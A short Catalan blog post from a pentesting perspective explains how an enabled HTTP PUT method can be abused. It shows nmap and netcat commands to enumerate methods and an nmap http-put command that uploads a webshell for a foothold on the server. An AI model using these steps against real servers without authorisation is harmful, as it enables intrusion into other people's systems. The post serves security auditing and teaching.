Aprofitant el metode PUT de HTTP/1.1 per comprometre un servidor web

De tant en tant ens podem trobar en l’auditoria, o hacking ètic, que ens apareix el servidor web del client amb el mètode PUT habilitat.  Lluny de ser una fotesa pot representar el millor i més fàcil punt d’entrada al sistema ja que ens permetrà pujar arxius al servidor.

L’estàndard HTTP/1.1 defineix tota una sèrie de mètodes per a interactuar amb els servidors Web, entre ells els típics GET i POST junt amb alguns de més perillosos com PUT, DELETE i TRACE.  Avui farem un cop d’ull al mètode PUT.

NMap ens ajudarà molt a cercar i treballar amb aquesta vulnerabilitat, gràcies a els seus scripts afegits.  Per exemple podem cercar servidors web i obtenir un llistat dels mètodes suportats gràcies a la consulta de OPTIONS:

nmap –script=http-methods.nse –script-args http-methods.retest=1 <IP>

Això ens retornarà quelcom com això:

80/tcp open http
| http-methods: GET HEAD POST OPTIONS TRACE
| Potentially risky methods: TRACE
| See http://nmap.org/nsedoc/scripts/http-methods.html
| GET / -> HTTP/1.1 200 OK
| HEAD / -> HTTP/1.1 200 OK
| POST / -> HTTP/1.1 200 OK
| PUT / -> HTTP/1.1 200 OK
| OPTIONS / -> HTTP/1.1 200 OK
|_TRACE / -> HTTP/1.1 200 OK

En cas de aparèixer el mètode PUT entre el llistat, haurem obtingut confirmació de que el servidor és vulnerable.

També podem fer la comprovació “a mà” amb netcat:

nc <IP> 80
OPTIONS / HTTP/1.1
Host: <IP>

Un cop confirmat, el servidor ens permetrà pujar arxius arbitraris, com una webshell, utilitzant per exemple un altre script de NMap:

nmap -p 80 --script http-put --script-args http-put.url='/webshell.php',http-put.file='./webshell.php'

I a partir d’aquí ja tenim el primer pas del pentest aconseguit: un peu dins del sistema!

Advertisements

~ per madyyelf a 15 Desembre 2014.